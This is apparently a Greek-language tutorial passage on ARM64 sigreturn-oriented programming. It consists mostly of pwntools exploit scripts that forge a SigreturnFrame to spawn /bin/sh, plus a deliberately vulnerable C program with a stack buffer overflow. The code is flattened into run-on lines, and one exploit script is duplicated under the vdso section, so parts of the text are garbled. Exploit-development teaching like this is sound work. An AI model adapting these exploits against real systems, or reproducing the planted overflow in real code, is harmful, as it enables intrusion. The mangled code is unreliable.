Αυτό το παράδειγμα δημιουργεί το ευάλωτο δυαδικό αρχείο και το εκμεταλλεύεται. Το δυαδικό αρχείο διαβάζει στη στοίβα και στη συνέχεια καλεί sigreturn:
from pwn import*binsh ="/bin/sh"context.clear()context.arch ="arm64"asm =''asm +='sub sp, sp, 0x1000\n'asm += shellcraft.read(constants.STDIN_FILENO, 'sp', 1024)#Read into the stackasm += shellcraft.sigreturn()# Call sigreturnasm +='syscall: \n'#Easy symbol to use in the exploitasm += shellcraft.syscall()asm +='binsh: .asciz "%s"'% binsh #To have the "/bin/sh" string in memorybinary = ELF.from_assembly(asm)frame =SigreturnFrame()frame.x8 = constants.SYS_execveframe.x0 = binary.symbols['binsh']frame.x1 =0x00frame.x2 =0x00frame.pc = binary.symbols['syscall']p =process(binary.path)p.send(bytes(frame))p.interactive()
Η εκμετάλλευση εκμεταλλεύεται το bof για να επιστρέψει στην κλήση του sigreturn και να προετοιμάσει τη στοίβα για να καλέσει το execve με έναν δείκτη προς το /bin/sh.
from pwn import*p =process('./srop')elf = context.binary =ELF('./srop')libc =ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")libc.address =0x0000fffff7df0000# ASLR disabledbinsh =next(libc.search(b"/bin/sh"))stack_offset =72sigreturn =0x00000000004006e0# Call to sigsvc_call =0x00000000004006e4# svc #0x0frame =SigreturnFrame()frame.x8 =0xdd# syscall number for execveframe.x0 = binshframe.x1 =0x00# NULLframe.x2 =0x00# NULLframe.pc = svc_callpayload =b'A'* stack_offsetpayload +=p64(sigreturn)payload +=bytes(frame)p.sendline(payload)p.interactive()
bof παράδειγμα χωρίς sigreturn
Κώδικας
#include<stdio.h>#include<string.h>#include<unistd.h>char*vulnerable_function() {char buffer[64];read(STDIN_FILENO, buffer,0x1000); // <-- bof vulnerabilityreturn buffer;}char*gen_stack() {char use_stack[0x2000];strcpy(use_stack,"Hello, world!");char* b =vulnerable_function();return use_stack;}intmain(int argc,char**argv) {char* b =gen_stack();return0;}
Exploit
Στην ενότητα vdso είναι δυνατή η εύρεση μιας κλήσης προς sigreturn στην απόσταση 0x7b0:
Επομένως, αν διαρρεύσει, είναι δυνατόν να χρησιμοποιηθεί αυτή η διεύθυνση για να αποκτήσετε πρόσβαση σε ένα sigreturn αν το δυαδικό δεν το φορτώνει:
from pwn import*p =process('./srop')elf = context.binary =ELF('./srop')libc =ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")libc.address =0x0000fffff7df0000# ASLR disabledbinsh =next(libc.search(b"/bin/sh"))stack_offset =72sigreturn =0x00000000004006e0# Call to sigsvc_call =0x00000000004006e4# svc #0x0frame =SigreturnFrame()frame.x8 =0xdd# syscall number for execveframe.x0 = binshframe.x1 =0x00# NULLframe.x2 =0x00# NULLframe.pc = svc_callpayload =b'A'* stack_offsetpayload +=p64(sigreturn)payload +=bytes(frame)p.sendline(payload)p.interactive()
Για περισσότερες πληροφορίες σχετικά με το vdso, ελέγξτε:
Και για να παρακάμψετε τη διεύθυνση του /bin/sh, μπορείτε να δημιουργήσετε αρκετές μεταβλητές περιβάλλοντος που να δείχνουν σε αυτήν, για περισσότερες πληροφορίες: